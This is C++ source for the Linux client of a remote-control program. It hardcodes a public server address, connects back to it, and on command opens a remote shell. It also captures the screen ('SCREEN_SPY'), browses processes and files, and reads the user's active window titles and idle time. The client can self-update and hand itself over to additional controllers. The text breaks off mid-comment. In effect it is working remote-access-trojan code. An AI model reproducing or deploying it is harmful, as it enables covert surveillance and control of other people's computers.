#include "common/commands.h" #include "client/IOCPClient.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "common/PTYHandler.h" #include #include #include #include #include #include #include #include #include #include #include "ScreenHandler.h" #include "ScreenPreview.h" #include "SystemManager.h" #include "common/ClientLogHandler.h" #include "common/FileManager.h" #include "ClipboardHandler.h" #include "common/FileTransferV2.h" #include "common/logger.h" #define XXH_INLINE_ALL #include "common/xxhash.h" #include "common/rtt_estimator.h" #include "common/client_auth_state.h" #include "common/posix_net_helpers.h" #include "common/sub_conn_thread.h" #include "common/host_transfer.h" #include "common/host_share.h" #include "LinuxConfig.h" #include #include #include int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength); // 主机分享/转移的子进程管理(实现在进程辅助函数之后,DataProcess/main 里都要用) // 分享子进程与转移子进程都走同一套 fork+exec 管理,只是归属不同: // KIND_SHARE 「取消分享」只停这些 // KIND_TRANSFER 转移到期时停这些(提前建立的那条连接) // KIND_ALL 主实例退出时全停 enum ManagedKind { KIND_SHARE, KIND_TRANSFER, KIND_ALL }; static bool StartShareInstance(const std::string& entry); static bool StartTransferInstance(const std::string& entry); static void StopChildren(ManagedKind kind); static void StartShareInstancesFromConfig(); // 远程地址:当前为写死状态,如需调试,请按实际情况修改 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX }; // 全局状态 State g_bExit = S_CLIENT_NORMAL; static std::atomic g_needResendLogin(false); // 分组变更后需要重发登录信息 // 传输层热切换(服务端 COMMAND_TLS_ENABLE/DISABLE 改了信任锚)后需要重建连接。 // DataProcess 跑在接收线程上,直接关 socket 会和主线程的发送竞争,所以只置标志, // 由主心跳循环择机 Disconnect 并重连。 static std::atomic g_needReconnect(false); // ============== 主机转移(COMMAND_ASSIGN_MASTER)============== // 服务端「转移主机」把目标写进 config.conf 的 transfer 键,之后每次重连都连新主控; // valid_to 到期后恢复本进程启动时的原主控。原主控只存在内存里(argv 或编译期默认), // 不能写回配置——恢复时读到的若还是转移目标,就成了原地打转。 // 解析/编解码/地址应用在 common/host_transfer.h(macOS 客户端可直接复用)。 static HostTransfer::Endpoint g_transferOrig; // 启动时的主控,过期恢复用 static std::atomic g_transferValidTo(0); // >0 = 处于转移状态(到期时刻) static std::atomic g_transferPending(false); // 接收线程已写下新目标,待主循环应用 static std::mutex g_transferMu; // 保护 g_transferPendingTarget static HostTransfer::Target g_transferPendingTarget; // ============== 主机分享(COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA)============== // 分享不改主连接,而是另起一条通往目标主控的连接。main() 的连接状态全是全局量 // (g_SETTINGS / g_bExit / g_pMainClient / 心跳节奏 / 登录参数),线程化要逐个 // 参数化,改动面比功能本身还大;这里由主实例给每条分享记录 fork+exec 一个 // `--share ` 子进程,子进程直接复用同一份登录、心跳和命令处理代码。 // 解析与 share_list 编解码在 common/host_share.h(macOS 客户端可直接复用)。 static bool g_bShareInstance = false; // 本进程是分享子进程 static std::mutex g_shareMu; // 保护 g_shareProcs // 子进程 pid 和它启动时用的那条记录:判断「同一条分享」只能比这条记录,不能比配置 // 里的——命令处理是先写配置再起进程,配置里已经是新记录了。 // transfer=true 表示这是「转移主机」立即建立的那条连接(见 StartTransferInstance), // 它不进 share_list、不受「取消分享」影响。 struct ShareProc { pid_t pid; std::string entry; bool transfer; }; static std::map g_shareProcs; // "ip:port" / "transfer:ip:port" -> 子进程 // 分享条目上限:每条都对应一个常驻子进程,服务端误发/恶意刷下发不能把进程表打爆。 static const size_t kMaxShareEntries = 16; static std::atomic g_shareReaperStop(false); static std::thread g_shareReaperThread; // 退出前 join,别让它去碰已停的日志 // 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行, // 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。 static int g_argc = 0; static char** g_argv = nullptr; static IOCPClient* g_pMainClient = nullptr; // 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。 // 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF // 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic: // VM/笔记本挂起期间 system_clock 继续推进,恢复后能立即识别"几分钟没收到 ACK", // 这是相比 TCP_USER_TIMEOUT(内核层) 的关键互补价值。 static std::atomic g_lastHeartbeatAckMs(0); // 客户端 ID(V2 文件传输需要) uint64_t g_myClientID = 0; // 服务端身份校验全局状态已抽到 common/client_auth_state.h(namespace ClientAuth) // ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ============== static std::string utf8ToGbk(const std::string& utf8) { if (utf8.empty()) return utf8; iconv_t cd = iconv_open("GBK", "UTF-8"); if (cd == (iconv_t)-1) return utf8; size_t inLeft = utf8.size(); size_t outLeft = inLeft * 2; // GBK 最多 2 字节/字符,不会比 UTF-8 更长 std::string output(outLeft, '\0'); char* inPtr = const_cast(utf8.data()); char* outPtr = &output[0]; size_t ret = iconv(cd, &inPtr, &inLeft, &outPtr, &outLeft); iconv_close(cd); if (ret == (size_t)-1) return utf8; // 转换失败,原样返回 output.resize(output.size() - outLeft); return output; } // ============== 用户活动检测(对应 Windows 端 ActivityWindow) ============== // X11 额外类型定义(ScreenHandler.h 的前向声明未包含这些) #ifndef _X11_ATOM_DEFINED #define _X11_ATOM_DEFINED typedef unsigned long Atom; typedef int Bool_X; // 避免与 commands.h 中的 BOOL 冲突 typedef int Status_X; #endif // XScreenSaver 扩展的 Info 结构体(避免 #include ) struct XScreenSaverInfo_LNX { Window window; int state; int kind; unsigned long til_or_since; unsigned long idle; // 用户空闲毫秒数 unsigned long eventMask; }; class ActivityChecker { public: ActivityChecker() : m_x11(nullptr), m_xss(nullptr), m_display(nullptr), m_available(false) { // 加载 libX11 m_x11 = dlopen("libX11.so.6", RTLD_LAZY); if (!m_x11) m_x11 = dlopen("libX11.so", RTLD_LAZY); if (!m_x11) return; // 解析 X11 函数 pXOpenDisplay = (fn_XOpenDisplay)dlsym(m_x11, "XOpenDisplay"); pXCloseDisplay = (fn_XCloseDisplay)dlsym(m_x11, "XCloseDisplay"); pXDefaultScreen = (fn_XDefaultScreen)dlsym(m_x11, "XDefaultScreen"); pXRootWindow = (fn_XRootWindow)dlsym(m_x11, "XRootWindow"); pXInternAtom = (fn_XInternAtom)dlsym(m_x11, "XInternAtom"); pXGetWindowProperty = (fn_XGetWindowProperty)dlsym(m_x11, "XGetWindowProperty"); pXFree = (fn_XFree)dlsym(m_x11, "XFree"); pXSetErrorHandler = (fn_XSetErrorHandler)dlsym(m_x11, "XSetErrorHandler"); pXQueryExtension = (fn_XQueryExtension)dlsym(m_x11, "XQueryExtension"); if (!pXOpenDisplay || !pXCloseDisplay || !pXDefaultScreen || !pXRootWindow || !pXInternAtom || !pXGetWindowProperty || !pXFree) return; // 打开 Display 连接 m_display = pXOpenDisplay(nullptr); if (!m_display) return; // 静默 X11 错误,防止程序被杀 if (pXSetErrorHandler) pXSetErrorHandler((int(*)(Display*, void*))silentErrorHandler); // 预查询常用 Atom m_atomActiveWindow = pXInternAtom(m_display, "_NET_ACTIVE_WINDOW", 0); m_atomWmName = pXInternAtom(m_display, "_NET_WM_NAME", 0); m_atomUtf8String = pXInternAtom(m_display, "UTF8_STRING", 0); m_atomWmNameLegacy = pXInternAtom(m_display, "WM_NAME", 0); m_screen = pXDefaultScreen(m_display); m_root = pXRootWindow(m_display, m_screen); // 加载 libXss(可选,没有则无法获取空闲时间) // 先检查 X 服务器是否支持 MIT-SCREEN-SAVER 扩展 bool hasScrnsaverExt = false; if (pXQueryExtension) { int major_opcode, first_event, first_error; hasScrnsaverExt = pXQueryExtension(m_display, "MIT-SCREEN-SAVER", &major_opcode, &first_event, &first_error); } if (hasScrnsaverExt) { m_xss = dlopen("libXss.so.1", RTLD_LAZY); if (!m_xss) m_xss = dlopen("libXss.so", RTLD_LAZY); if (m_xss) { pXScreenSaverAllocInfo = (fn_XScreenSaverAllocInfo)dlsym(m_xss, "XScreenSaverAllocInfo"); pXScreenSaverQueryInfo = (fn_XScreenSaverQueryInfo)dlsym(m_xss, "XScreenSaverQueryInfo"); } } m_available = true; } ~ActivityChecker() { if (m_display && pXCloseDisplay) pXCloseDisplay(m_display); if (m_xss) dlclose(m_xss); if (m_x11) dlclose(m_x11); } // 主入口:返回用户活动描述字符串(与 Windows 端 ActivityWindow::Check 对齐) std::string Check(unsigned long threshold_ms = 6000) { if (!m_available) return ""; unsigned long idle = GetIdleTime(); if (idle < threshold_ms) { return GetActiveWindowTitle(); } return "Inactive: " + FormatMilliseconds(idle); } private: // X11 函数指针类型 typedef Display* (*fn_XOpenDisplay)(const char*); typedef int (*fn_XCloseDisplay)(Display*); typedef int (*fn_XDefaultScreen)(Display*); typedef Window (*fn_XRootWindow)(Display*, int); typedef Atom (*fn_XInternAtom)(Display*, const char*, int); typedef int (*fn_XGetWindowProperty)(Display*, Window, Atom, long, long, int, Atom, Atom*, int*, unsigned long*, unsigned long*, unsigned char**); typedef int (*fn_XFree)(void*); typedef int (*fn_XSetErrorHandler)(int(*)(Display*, void*)); typedef Bool_X (*fn_XQueryExtension)(Display*, const char*, int*, int*, int*); // XScreenSaver 函数指针类型 typedef XScreenSaverInfo_LNX* (*fn_XScreenSaverAllocInfo)(); typedef Status_X (*fn_XScreenSaverQueryInfo)(Display*, Drawable, XScreenSaverInfo_LNX*); // 函数指针实例 fn_XOpenDisplay pXOpenDisplay = nullptr; fn_XCloseDisplay pXCloseDisplay = nullptr; fn_XDefaultScreen pXDefaultScreen = nullptr; fn_XRootWindow pXRootWindow = nullptr; fn_XInternAtom pXInternAtom = nullptr; fn_XGetWindowProperty pXGetWindowProperty = nullptr; fn_XFree pXFree = nullptr; fn_XSetErrorHandler pXSetErrorHandler = nullptr; fn_XQueryExtension pXQueryExtension = nullptr; fn_XScreenSaverAllocInfo pXScreenSaverAllocInfo = nullptr; fn_XScreenSaverQueryInfo pXScreenSaverQueryInfo = nullptr; void* m_x11; void* m_xss; Display* m_display; bool m_available; int m_screen; Window m_root; Atom m_atomActiveWindow; Atom m_atomWmName; Atom m_atomUtf8String; Atom m_atomWmNameLegacy; static int silentErrorHandler(Display*, void*) { return 0; } // 获取用户空闲时间(毫秒),libXss 不可用时返回 0 unsigned long GetIdleTime() { if (!pXScreenSaverAllocInfo || !pXScreenSaverQueryInfo) return 0; XScreenSaverInfo_LNX* info = pXScreenSaverAllocInfo(); if (!info) return 0; unsigned long idle = 0; if (pXScreenSaverQueryInfo(m_display, m_root, info)) idle = info->idle; pXFree(info); return idle; } // 获取当前活动窗口标题(通过 EWMH _NET_ACTIVE_WINDOW + _NET_WM_NAME) std::string GetActiveWindowTitle() { // 第一步:从根窗口读取 _NET_ACTIVE_WINDOW 得到活动窗口 ID Atom actualType = 0; int actualFormat = 0; unsigned long nItems = 0, bytesAfter = 0; unsigned char* prop = nullptr; int ret = pXGetWindowProperty(m_display, m_root, m_atomActiveWindow, 0, 1, 0, (Atom)0 /* AnyPropertyType */, &actualType, &actualFormat, &nItems, &bytesAfter, &prop); if (ret != 0 || !prop || nItems == 0) { if (prop) pXFree(prop); return ""; } Window activeWin = *(Window*)prop; pXFree(prop); prop = nullptr; if (activeWin == 0) return ""; // 第二步:读取 _NET_WM_NAME (UTF-8),失败则回退 WM_NAME std::string title = GetWindowProperty(activeWin, m_atomWmName, m_atomUtf8String); if (title.empty()) title = GetWindowProperty(activeWin, m_atomWmNameLegacy, (Atom)0); return title; } // 通用窗口属性读取 std::string GetWindowProperty(Window win, Atom property, Atom reqType) { Atom actualType = 0; int actualFormat = 0; unsigned long nItems = 0, bytesAfter = 0; unsigned char* prop = nullptr; int ret = pXGetWindowProperty(m_display, win, property, 0, 512, 0, reqType, &actualType, &actualFormat, &nItems, &bytesAfter, &prop); if (ret != 0 || !prop || nItems == 0) { if (prop) pXFree(prop); return ""; } std::string result((char*)prop, nItems); pXFree(prop); return result; } static std::string FormatMilliseconds(unsigned long ms) { unsigned long totalSeconds = ms / 1000; unsigned long hours = totalSeconds / 3600; unsigned long minutes = (totalSeconds % 3600) / 60; unsigned long seconds = totalSeconds % 60; char buf[16]; sprintf(buf, "%02lu:%02lu:%02lu", hours, minutes, seconds); return buf; } }; // ============== 心跳保活 & RTT 估算 ============== // RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h // PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS) void* ShellworkingThread(void* /*param*/) { RunSubConnThread( "ShellworkingThread", [](IOCPClient* c) { return std::unique_ptr(new PTYHandler(c)); }, [](IOCPClient* c, PTYHandler*) { BYTE bToken = TOKEN_TERMINAL_START; c->Send2Server((char*)&bToken, 1); Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c); }); return NULL; } void* ScreenworkingThread(void* /*param*/) { RunSubConnThread( "ScreenworkingThread", [](IOCPClient* c) { return std::unique_ptr(new ScreenHandler(c)); }, [](IOCPClient* c, ScreenHandler* h) { // 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致) h->SendBitmapInfo(); Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c); }); return NULL; } void* SystemManagerThread(void* /*param*/) { RunSubConnThread( "SystemManagerThread", [](IOCPClient* c) { return std::unique_ptr(new SystemManager(c)); }, [](IOCPClient* c, SystemManager*) { Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", c); }); return NULL; } void* FileManagerThread(void* /*param*/) { RunSubConnThread( "FileManagerThread", [](IOCPClient* c) { return std::unique_ptr(new FileManager(c)); }, [](IOCPClient* c, FileManager*) { Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", c); }); return NULL; } // 日志上报(对应 Windows 端 CClientLogManager):子连接建立即发首包全量。 // 服务端取走首包后会关掉这条子连接,所以这里发完就等连接断开即可。 void* ClientLogThread(void* /*param*/) { RunSubConnThread( "ClientLogThread", [](IOCPClient* c) { return std::unique_ptr(new ClientLogHandler(c)); }, [](IOCPClient* c, ClientLogHandler*) { Mprintf(">>> ClientLogThread [%p] Send: TOKEN_REPORT_LOG\n", c); }); return NULL; } // ============== 屏幕预览(对应 Windows 端 COMMAND_SCREEN_PREVIEW_REQ) ============== // 同一时刻只跑一个抓屏任务:列表缩略图是周期性刷新,服务端还可能重发/并发请求, // 多余的直接丢弃,让服务端 4s 超时后按"预览不可用"降级(与 Windows 端限流一致)。 static std::atomic g_previewInFlight(0); static void ScreenPreviewThread(ScreenPreviewReq req) { // 抓屏/缩放全程可能在几十毫秒量级,跑在独立线程里,不阻塞接收线程 struct InFlightGuard { ~InFlightGuard() { g_previewInFlight.fetch_sub(1); } } guard; std::vector pixels; int w = 0, h = 0; int st = ScreenPreview::Capture(req.maxWidth, pixels, w, h); bool ok = (st == SCREEN_PREVIEW_OK) && !pixels.empty(); if (!ok) { pixels.clear(); } uint32_t bytes = ok ? (uint32_t)pixels.size() : 0; std::vector pkt(sizeof(ScreenPreviewRspHeader) + bytes); ScreenPreviewRspHeader* hdr = (ScreenPreviewRspHeader*)pkt.data(); memset(hdr, 0, sizeof(*hdr)); hdr->token = TOKEN_SCREEN_PREVIEW_RSP; hdr->reqId = req.reqId; hdr->status = (uint8_t)st; // 成功时发原始 BGRA,由服务端统一编码成 JPEG(Linux 无可靠的 JPEG 编码库); // 失败时 format 无意义,填 JPEG 保持包头合法 hdr->format = ok ? SCREEN_PREVIEW_FMT_BGRX : SCREEN_PREVIEW_FMT_JPEG; hdr->width = (uint16_t)w; hdr->height = (uint16_t)h; hdr->bytes = bytes; if (ok) { memcpy(pkt.data() + sizeof(*hdr), pixels.data(), pixels.size()); } // Send2Server 内部持锁,可在工作线程调用;进程退出/断线时不再回包 if (g_pMainClient && g_pMainClient->IsConnected() && g_bExit == S_CLIENT_NORMAL) { g_pMainClient->Send2Server(pkt.data(), (int)pkt.size()); } if (!ok) { Mprintf("** Screen preview capture failed: status=%d ***\n", st); } } // 信任锚已落盘/已删除:热重载 TLS 状态,必要时请求主循环重建连接。 // 只在传输方式真正变化(明文↔TLS)时重连;仅换证书(仍是 TLS)不打断现有会话, // 新锚从下一条新连接开始生效。 static void ApplyTlsAnchorChange(void* user) { bool before = TlsEnabled(); std::string err; if (!TlsReload(err)) { Mprintf("** [%p] TLS reload failed: %s (keeping current transport) ***\n", user, err.c_str()); return; } bool after = TlsEnabled(); if (before == after) { Mprintf("** [%p] TLS trust anchor updated, transport unchanged (%s) ***\n", user, after ? "TLS" : "plaintext"); return; } g_needReconnect.store(true); Mprintf("** [%p] TLS transport switched to %s, reconnecting ***\n", user, after ? "TLS" : "plaintext"); } // ============== 主机转移(COMMAND_ASSIGN_MASTER)============== // 启动时读取转移记录:未过期就把连接地址改成转移目标(与 Windows // ClientDll.cpp StartClient 的启动处理一致)。必须在 daemonize 之后调用(见 main() // 里的说明),启动日志里打印的就是本次实际要连的地址。 static void InitTransferState() { g_transferOrig = HostTransfer::CaptureEndpoint(g_SETTINGS); LinuxConfig cfg; HostTransfer::Target t; long long now = (long long)time(nullptr); if (!HostTransfer::DecodeRecord(cfg.GetStr("transfer"), t)) return; if (!t.Active(now)) { Mprintf("Transfer record already expired (%lld), ignored\n", t.validTo); return; } HostTransfer::ApplyTarget(g_SETTINGS, t); g_transferValidTo.store(t.validTo); Mprintf("Transfer active: %s:%d (transport=%d), %llds left\n", t.ep.ip.c_str(), t.ep.port, t.ep.transport, t.validTo - now); } // 把接收线程记下的目标应用到全局连接参数。只在主线程调用:CONNECT_ADDRESS 没有 // 跨线程同步,ConnectServer 读的就是它。只改地址、不主动断开——与 Windows 一致, // 下一次重连才生效。 static void ApplyPendingTransfer() { if (!g_transferPending.load(std::memory_order_acquire)) return; HostTransfer::Target t; { std::lock_guard lk(g_transferMu); t = g_transferPendingTarget; g_transferPending.store(false, std::memory_order_release); } HostTransfer::ApplyTarget(g_SETTINGS, t); long long left = t.validTo - (long long)time(nullptr); Mprintf(">>> Transfer armed: next reconnect -> %s:%d (transport=%d), %llds left\n", t.ep.ip.c_str(), t.ep.port, t.ep.transport, left); } // 转移到期:恢复原主控并重连。目标不可达时这是唯一的退路;days=0 的永久转移 // 没有到期时间,也就没有这条退路——与 Windows 行为一致。 static void CheckTransferExpiry() { long long validTo = g_transferValidTo.load(std::memory_order_relaxed); if (validTo <= 0 || (long long)time(nullptr) <= validTo) return; g_transferValidTo.store(0, std::memory_order_relaxed); HostTransfer::ApplyEndpoint(g_SETTINGS, g_transferOrig); LinuxConfig cfg; cfg.SetStr("transfer", ""); // 记录作废,重启后也不会再回到已过期的目标 g_needReconnect.store(true, std::memory_order_relaxed); Mprintf(">>> Transfer expired: restoring %s:%d\n", g_transferOrig.ip.c_str(), g_transferOrig.port); // 转移时提前建立的那条连接也要收掉,否则过期后主机仍挂在新主控上。 StopChildren(KIND_TRANSFER); } int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { if (szBuffer == nullptr || ulLength == 0) return TRUE; // 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。详见 // common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。 if (!ClientAuth::IsCommandAllowed(szBuffer[0])) { return TRUE; } if (szBuffer[0] == COMMAND_BYE) { Mprintf("*** [%p] Received Bye-Bye command ***\n", user); g_bExit = S_CLIENT_EXIT; } else if (szBuffer[0] == COMMAND_SHELL) { std::thread(ShellworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SHELL' command ***\n", user); } else if (szBuffer[0] == COMMAND_SCREEN_SPY) { std::thread(ScreenworkingThread, nullptr).detach(); Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user); } else if (szBuffer[0] == COMMAND_SYSTEM) { std::thread(SystemManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'SYSTEM' command ***\n", user); } else if (szBuffer[0] == COMMAND_LIST_DRIVE) { std::thread(FileManagerThread, nullptr).detach(); Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user); } else if (szBuffer[0] == COMMAND_QUERY_LOG) { // 与 Windows 端一致:回日志必须开子连接。服务端取走首包后 CancelIO 关的是 // 子连接;若回在主连接上,被关掉的就是主连接本身。 std::thread(ClientLogThread, nullptr).detach(); Mprintf("** [%p] Received 'QUERY_LOG' command ***\n", user); } else if (szBuffer[0] == COMMAND_SCREEN_PREVIEW_REQ) { if (ulLength < sizeof(ScreenPreviewReq)) return TRUE; ScreenPreviewReq req; memcpy(&req, szBuffer, sizeof(req)); // 抓屏可能耗几十毫秒,必须离开接收线程;超额请求直接丢弃(服务端会超时降级) if (g_previewInFlight.fetch_add(1) >= 1) { g_previewInFlight.fetch_sub(1); return TRUE; } try { std::thread(ScreenPreviewThread, req).detach(); } catch (const std::exception& e) { // 线程起不来时必须把在途计数还回去,否则后面所有预览请求都会被当成"忙"丢掉 g_previewInFlight.fetch_sub(1); Mprintf("** Screen preview thread failed: %s ***\n", e.what()); } } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { if (ulLength >= 1 + sizeof(HeartbeatACK)) { HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); uint64_t now = GetUnixMs(); g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed); // 喂应用层 ACK 看门狗 int64_t total_rtt_ms = (int64_t)now - (int64_t)ack->Time; int64_t rtt_ms = total_rtt_ms; if (ack->ProcessingMs > 0 && (int64_t)ack->ProcessingMs < total_rtt_ms) rtt_ms = total_rtt_ms - (int64_t)ack->ProcessingMs; g_rttEstimator.update_from_sample((double)rtt_ms); // 心跳节奏太密日志会刷屏;最多 60s 一行 static time_t lastAckLog = 0; time_t now_s = time(nullptr); if (now_s - lastAckLog >= 60) { lastAckLog = now_s; Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", user, (double)rtt_ms, g_rttEstimator.srtt * 1000); } } } else if (szBuffer[0] == CMD_MASTERSETTING) { MasterSettings settings; if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) { return TRUE; // 包不全或签名失败:让 30s 超时兜底重连 } if (settings.ReportInterval > 0) g_heartbeatInterval = settings.ReportInterval; Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); } else if (szBuffer[0] == COMMAND_C2C_TEXT) { // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N] if (ulLength >= 13) { uint32_t textLen; memcpy(&textLen, szBuffer + 9, 4); if (ulLength >= 13 + textLen && textLen > 0) { if (!ClipboardHandler::IsAvailable()) { Mprintf("** [%p] C2C Text: clipboard unavailable (install xclip/xsel) ***\n", user); } else { std::string utf8Text((const char*)szBuffer + 13, textLen); if (ClipboardHandler::SetText(utf8Text)) { Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen); } else { Mprintf("** [%p] C2C Text clipboard set failed ***\n", user); } } } } } else if (szBuffer[0] == COMMAND_C2C_PREPARE) { // C2C 准备接收通知 FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr); Mprintf("** [%p] C2C Prepare received ***\n", user); } else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) { // V2 文件接收;g_pMainClient 用于 C2C 落盘回执(DataProcess 的 user 恒为 NULL) int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID, g_pMainClient); if (result != 0) { Mprintf("** [%p] V2 File recv error: %d ***\n", user, result); } } else if (szBuffer[0] == CMD_SET_GROUP) { // 分组是本机属性,写的是同一份 config.conf:分享实例改了,主机在主控 A 上的 // 分组也会跟着变,而这条命令是主控 B 下发的。交给主实例处理。 if (g_bShareInstance) { Mprintf("** [%p] SET_GROUP ignored: running as share instance ***\n", user); return TRUE; } // Extract group name from message (starts at byte 1) std::string groupName; if (ulLength > 1) { groupName = std::string((char*)szBuffer + 1, ulLength - 1); // Remove trailing nulls size_t pos = groupName.find('\0'); if (pos != std::string::npos) { groupName = groupName.substr(0, pos); } } // Save to config file LinuxConfig cfg; cfg.SetStr("group_name", groupName); // Update global settings memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName)); strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1); // 标记需要重发登录信息(让服务端更新分组显示) g_needResendLogin.store(true); Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); } else if (szBuffer[0] == COMMAND_TLS_ENABLE) { // 服务端下发信任锚证书(载荷与 Windows 一致:szBuffer+1 起为 PEM 正文)。 // Windows 写注册表 settings\tls_cert;Linux 写 ~/.config/ghost/yama-ca.pem。 // 与 Windows 不同:Linux 落盘后热重载并重连,立即切换(Windows 仍需重启进程)。 // 分享实例不理会:信任锚是整机一份,跟着分享目标主控切换会把主连接也一起换掉。 if (g_bShareInstance) { Mprintf("** [%p] TLS_ENABLE ignored: running as share instance ***\n", user); } else if (ulLength > 1) { std::string pem((char*)szBuffer + 1, ulLength - 1); std::string err; if (TlsTrustAnchorSave(pem, err)) { Mprintf("** [%p] TLS trust anchor received and saved ***\n", user); ApplyTlsAnchorChange(user); } else { Mprintf("** [%p] TLS trust anchor save failed: %s ***\n", user, err.c_str()); } } else { // 没有证书正文就等于「启用但没有锚」——不该悄悄忽略,留一行便于排查。 Mprintf("** [%p] COMMAND_TLS_ENABLE without a certificate payload, ignored\n", user); } } else if (szBuffer[0] == COMMAND_TLS_DISABLE) { // 撤销信任锚:删除配置文件并热重载,当前连接若是 TLS 就重连回明文。 // 分享实例同理不理会(见上面 TLS_ENABLE)。 if (g_bShareInstance) { Mprintf("** [%p] TLS_DISABLE ignored: running as share instance ***\n", user); } else { std::string err; if (TlsTrustAnchorRemove(err)) { Mprintf("** [%p] TLS trust anchor removed ***\n", user); ApplyTlsAnchorChange(user); } else { Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str()); } } } else if ((szBuffer[0] == COMMAND_SHARE || szBuffer[0] == COMMAND_ASSIGN_MASTER) && ulLength > 1 && szBuffer[1] == SHARE_TYPE_YAMA) { // 「分享主机」:host:port:shine[:transport],解析见 common/host_share.h。 // 命令字节是 COMMAND_SHARE;COMMAND_ASSIGN_MASTER 一起收,与 Windows 客户端的 // case 合并写法保持一致(转移用 buf[1]=SHARE_TYPE_YAMA_FOREVER,走下面的分支)。 // 分享不改本实例的主连接,而是另起一条通往目标主控的连接——主实例 fork 一个 // 分享子进程来做;子进程收到同一条命令时不能再分享,否则会一链套一链。 if (g_bShareInstance) { Mprintf("** [%p] SHARE ignored: running as share instance ***\n", user); return TRUE; } HostShare::Endpoint ep; if (!HostShare::ParseCommand(szBuffer, ulLength, ep)) { Mprintf("** [%p] SHARE: malformed payload, ignored ***\n", user); return TRUE; } // 落盘再起进程:进程起不来(fork 失败)也只丢这一次,下次启动仍会按配置重连。 std::string entry = HostShare::EncodeEntry(ep); LinuxConfig cfg; const std::string oldList = cfg.GetStr("share_list"); const std::string newList = HostShare::AddEntry(oldList, entry); // 新目标才占名额;同一主控重新下发只是替换记录,不受上限影响。 if (newList != oldList && HostShare::Count(newList) > kMaxShareEntries) { Mprintf("** [%p] SHARE to %s ignored: share_list is full (%d) ***\n", user, HostShare::MasterKey(ep).c_str(), (int)kMaxShareEntries); return TRUE; } cfg.SetStr("share_list", newList); Mprintf("** [%p] SHARE to %s (entry=%s) ***\n", user, HostShare::MasterKey(ep).c_str(), entry.c_str()); StartShareInstance(entry); } else if (szBuffer[0] == COMMAND_ASSIGN_MASTER) { // 「转移主机」:host:port:days:shine[:transport],解析见 common/host_transfer.h。 // 载荷非法时什么都不做——绝不能把脏数据当成有效转移,否则一台上线中的主机会 // 被改到一个不存在的地址上去。 // 分享实例不处理转移:转移属于主连接,改了会把分享链路带到别的主控去。 if (g_bShareInstance) { Mprintf("** [%p] ASSIGN ignored: running as share instance ***\n", user); return TRUE; } HostTransfer::Target t; long long now = (long long)time(nullptr); if (!HostTransfer::ParseAssignCommand(szBuffer, ulLength, now, t)) { Mprintf("** [%p] ASSIGN: malformed payload, ignored ***\n", user); return TRUE; } // 有效期内重复下发忽略(与 Windows KernelManager 的 now <= valid_to 判断一致)。 // 用原子变量而不是再读一次配置:状态以本进程为准,避免和主线程的写入交错。 long long active = g_transferValidTo.load(std::memory_order_relaxed); if (now <= active) { Mprintf("** [%p] ASSIGN to %s:%d ignored: already assigned until %lld ***\n", user, t.ep.ip.c_str(), t.ep.port, active); return TRUE; } { std::lock_guard lk(g_transferMu); g_transferPendingTarget = t; g_transferPending.store(true, std::memory_order_release); } // 先挡住后续重复下发,再落盘:落盘失败也不至于被第二条命令覆盖。 g_transferValidTo.store(t.validTo, std::memory_order_relaxed); LinuxConfig cfg; cfg.SetStr("transfer", HostTransfer::EncodeRecord(t)); // 立即再起一条通往新主控的连接,新主控马上就能看到这台主机上线;本实例与老主控 // 的主连接原样保留,下次重连(含重启)才轮到主连接过去。这与 Windows 客户端 // 现有语义一致:KernelManager 的转移分支末尾没有 break,会贯穿到分享分支, // 额外起一个 shared 实例连到同一个目标地址。 Mprintf("** [%p] ASSIGN to %s:%d for %llds, main link moves on next reconnect ***\n", user, t.ep.ip.c_str(), t.ep.port, t.validTo - now); StartTransferInstance(HostShare::EncodeEntry(t.ep)); // 新主控立即看到上线 } else if (szBuffer[0] == COMMAND_SHARE_CANCEL) { // 